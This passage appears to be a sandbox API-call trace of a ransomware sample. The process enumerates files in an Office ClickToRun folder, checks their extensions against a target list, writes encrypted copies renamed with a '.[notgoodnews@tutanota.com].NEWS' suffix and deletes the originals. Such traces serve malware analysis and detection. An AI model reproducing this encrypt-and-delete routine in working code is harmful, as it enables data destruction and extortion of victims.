(lpString1=".jpg", lpString2=".dll") returned 1 [0083.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0083.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0083.860] lstrlenW (lpString=".doc") returned 4 [0083.860] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0083.860] lstrlenW (lpString=".docx") returned 5 [0083.860] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0083.860] lstrlenW (lpString=".pdf") returned 4 [0083.860] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0083.860] lstrlenW (lpString=".xls") returned 4 [0083.860] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0083.860] lstrlenW (lpString=".xlsx") returned 5 [0083.860] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0083.860] lstrlenW (lpString=".ppt") returned 4 [0083.860] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0083.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0083.860] lstrlenW (lpString=".zip") returned 4 [0083.860] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0083.860] lstrlenW (lpString=".rar") returned 4 [0083.860] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0083.861] lstrlenW (lpString=".bz2") returned 4 [0083.861] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0083.861] lstrlenW (lpString=".7z") returned 3 [0083.861] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0083.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0083.861] lstrlenW (lpString=".dbf") returned 4 [0083.861] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0083.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0083.861] lstrlenW (lpString=".1cd") returned 4 [0083.861] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0083.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0083.861] lstrlenW (lpString=".jpg") returned 4 [0083.861] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0083.861] lstrcmpiW (lpString1=".hash", lpString2=".NEWS") returned -1 [0083.861] lstrlenW (lpString="i640.hash") returned 9 [0083.861] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0083.861] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=102) returned 1 [0083.861] CloseHandle (hObject=0x38c) returned 1 [0083.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash")) returned 0x20 [0083.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0083.862] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0083.862] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0083.862] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0083.862] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0083.862] GetLastError () returned 0x0 [0083.862] ReadFile (in: hFile=0x38c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x66, lpOverlapped=0x0) returned 1 [0083.863] WriteFile (in: hFile=0x33c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x70, lpOverlapped=0x0) returned 1 [0083.864] ReadFile (in: hFile=0x38c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0083.865] WriteFile (in: hFile=0x33c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xe6, lpOverlapped=0x0) returned 1 [0083.865] SetEndOfFile (hFile=0x33c) returned 1 [0083.865] CloseHandle (hObject=0x33c) returned 1 [0083.865] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0083.865] SetEndOfFile (hFile=0x38c) returned 1 [0083.866] CloseHandle (hObject=0x38c) returned 1 [0083.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0083.866] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash")) returned 1 [0083.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0083.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0083.866] lstrlenW (lpString=".doc") returned 4 [0083.866] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1 [0083.866] lstrlenW (lpString=".docx") returned 5 [0083.866] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1 [0083.866] lstrlenW (lpString=".pdf") returned 4 [0083.866] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1 [0083.866] lstrlenW (lpString=".xls") returned 4 [0083.866] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1 [0083.866] lstrlenW (lpString=".xlsx") returned 5 [0083.866] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1 [0083.866] lstrlenW (lpString=".ppt") returned 4 [0083.866] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1 [0083.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0083.867] lstrlenW (lpString=".zip") returned 4 [0083.867] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1 [0083.867] lstrlenW (lpString=".rar") returned 4 [0083.867] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1 [0083.867] lstrlenW (lpString=".bz2") returned 4 [0083.867] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1 [0083.867] lstrlenW (lpString=".7z") returned 3 [0083.867] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1 [0083.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0083.867] lstrlenW (lpString=".dbf") returned 4 [0083.867] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1 [0083.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0083.867] lstrlenW (lpString=".1cd") returned 4 [0083.867] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1 [0083.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0083.867] lstrlenW (lpString=".jpg") returned 4 [0083.867] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1 [0083.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0083.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0083.867] lstrlenW (lpString=".doc") returned 4 [0083.867] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1 [0083.867] lstrlenW (lpString=".docx") returned 5 [0083.867] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1 [0083.867] lstrlenW (lpString=".pdf") returned 4 [0083.867] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1 [0083.867] lstrlenW (lpString=".xls") returned 4 [0083.867] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1 [0083.867] lstrlenW (lpString=".xlsx") returned 5 [0083.867] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1 [0083.867] lstrlenW (lpString=".ppt") returned 4 [0083.867] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1 [0083.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0083.867] lstrlenW (lpString=".zip") returned 4 [0083.867] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1 [0083.867] lstrlenW (lpString=".rar") returned 4 [0083.867] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1 [0083.868] lstrlenW (lpString=".bz2") returned 4 [0083.868] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1 [0083.868] lstrlenW (lpString=".7z") returned 3 [0083.868] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1 [0083.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0083.868] lstrlenW (lpString=".dbf") returned 4 [0083.868] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1 [0083.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0083.868] lstrlenW (lpString=".1cd") returned 4 [0083.868] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1 [0083.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0083.868] lstrlenW (lpString=".jpg") returned 4 [0083.868] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1 [0083.868] lstrcmpiW (lpString1=".hash", lpString2=".NEWS") returned -1 [0083.868] lstrlenW (lpString="i641033.hash") returned 12 [0083.868] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0083.868] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=102) returned 1 [0083.868] CloseHandle (hObject=0x38c) returned 1 [0083.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash")) returned 0x20 [0083.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0083.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0083.869] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0083.869] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0083.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0083.869] GetLastError () returned 0x0 [0083.869] ReadFile (in: hFile=0x38c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x66, lpOverlapped=0x0) returned 1 [0083.870] WriteFile (in: hFile=0x33c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x70, lpOverlapped=0x0) returned 1 [0083.871] ReadFile (in: hFile=0x38c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0083.871] WriteFile (in: hFile=0x33c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1 [0083.871] SetEndOfFile (hFile=0x33c) returned 1 [0083.871] CloseHandle (hObject=0x33c) returned 1 [0083.871] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0083.871] SetEndOfFile (hFile=0x38c) returned 1 [0083.872] CloseHandle (hObject=0x38c) returned 1 [0083.872] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0083.872] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash")) returned 1 [0083.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0083.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0083.873] lstrlenW (lpString=".doc") returned 4 [0083.873] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1 [0083.873] lstrlenW (lpString=".docx") returned 5 [0083.873] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1 [0083.873] lstrlenW (lpString=".pdf") returned 4 [0083.873] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1 [0083.873] lstrlenW (lpString=".xls") returned 4 [0083.873] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1 [0083.873] lstrlenW (lpString=".xlsx") returned 5 [0083.873] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1 [0083.873] lstrlenW (lpString=".ppt") returned 4 [0083.873] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1 [0083.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0083.873] lstrlenW (lpString=".zip") returned 4 [0083.873] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1 [0083.873] lstrlenW (lpString=".rar") returned 4 [0083.873] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1 [0083.873] lstrlenW (lpString=".bz2") returned 4 [0083.873] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1 [0083.873] lstrlenW (lpString=".7z") returned 3 [0083.873] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1 [0083.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0083.873] lstrlenW (lpString=".dbf") returned 4 [0083.873] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1 [0083.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0083.873] lstrlenW (lpString=".1cd") returned 4 [0083.873] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1 [0083.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0083.873] lstrlenW (lpString=".jpg") returned 4 [0083.873] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1 [0083.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0083.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0083.873] lstrlenW (lpString=".doc") returned 4 [0083.873] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1 [0083.873] lstrlenW (lpString=".docx") returned 5 [0083.874] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1 [0083.874] lstrlenW (lpString=".pdf") returned 4 [0083.874] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1 [0083.874] lstrlenW (lpString=".xls") returned 4 [0083.874] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1 [0083.874] lstrlenW (lpString=".xlsx") returned 5 [0083.874] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1 [0083.874] lstrlenW (lpString=".ppt") returned 4 [0083.874] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1 [0083.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0083.874] lstrlenW (lpString=".zip") returned 4 [0083.874] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1 [0083.874] lstrlenW (lpString=".rar") returned 4 [0083.874] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1 [0083.874] lstrlenW (lpString=".bz2") returned 4 [0083.874] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1 [0083.874] lstrlenW (lpString=".7z") returned 3 [0083.874] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1 [0083.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0083.874] lstrlenW (lpString=".dbf") returned 4 [0083.874] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1 [0083.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0083.874] lstrlenW (lpString=".1cd") returned 4 [0083.874] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1 [0083.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0083.874] lstrlenW (lpString=".jpg") returned 4 [0083.874] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1 [0083.874] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0083.874] lstrlenW (lpString="IntegratedOffice.exe") returned 20 [0083.874] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0083.875] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=1093248) returned 1 [0083.875] CloseHandle (hObject=0x38c) returned 1 [0083.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe")) returned 0x20 [0083.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0083.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0083.875] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0083.875] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0083.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0083.875] GetLastError () returned 0x0 [0083.875] ReadFile (in: hFile=0x38c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0xffff0, lpOverlapped=0x0) returned 1 [0084.507] WriteFile (in: hFile=0x33c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xffff0, lpOverlapped=0x0) returned 1 [0084.528] ReadFile (in: hFile=0x38c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0xae90, lpOverlapped=0x0) returned 1 [0085.057] WriteFile (in: hFile=0x33c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xaea0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xaea0, lpOverlapped=0x0) returned 1 [0085.061] ReadFile (in: hFile=0x38c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0085.061] WriteFile (in: hFile=0x33c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xfc, lpOverlapped=0x0) returned 1 [0085.061] SetEndOfFile (hFile=0x33c) returned 1 [0086.315] CloseHandle (hObject=0x33c) returned 1 [0086.565] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.565] SetEndOfFile (hFile=0x38c) returned 1 [0086.566] CloseHandle (hObject=0x38c) returned 1 [0086.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0086.567] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe")) returned 1 [0086.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0086.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0086.567] lstrlenW (lpString=".doc") returned 4 [0086.567] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0086.568] lstrlenW (lpString=".docx") returned 5 [0086.568] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0086.568] lstrlenW (lpString=".pdf") returned 4 [0086.568] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0086.568] lstrlenW (lpString=".xls") returned 4 [0086.568] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0086.568] lstrlenW (lpString=".xlsx") returned 5 [0086.568] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0086.568] lstrlenW (lpString=".ppt") returned 4 [0086.568] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0086.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0086.568] lstrlenW (lpString=".zip") returned 4 [0086.568] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0086.568] lstrlenW (lpString=".rar") returned 4 [0086.568] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0086.568] lstrlenW (lpString=".bz2") returned 4 [0086.568] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0086.568] lstrlenW (lpString=".7z") returned 3 [0086.568] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0086.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0086.568] lstrlenW (lpString=".dbf") returned 4 [0086.568] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0086.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0086.568] lstrlenW (lpString=".1cd") returned 4 [0086.568] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0086.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0086.568] lstrlenW (lpString=".jpg") returned 4 [0086.568] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0086.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0086.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0086.568] lstrlenW (lpString=".doc") returned 4 [0086.568] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0086.568] lstrlenW (lpString=".docx") returned 5 [0086.568] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0086.568] lstrlenW (lpString=".pdf") returned 4 [0086.569] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0086.569] lstrlenW (lpString=".xls") returned 4 [0086.569] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0086.569] lstrlenW (lpString=".xlsx") returned 5 [0086.569] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0086.569] lstrlenW (lpString=".ppt") returned 4 [0086.569] 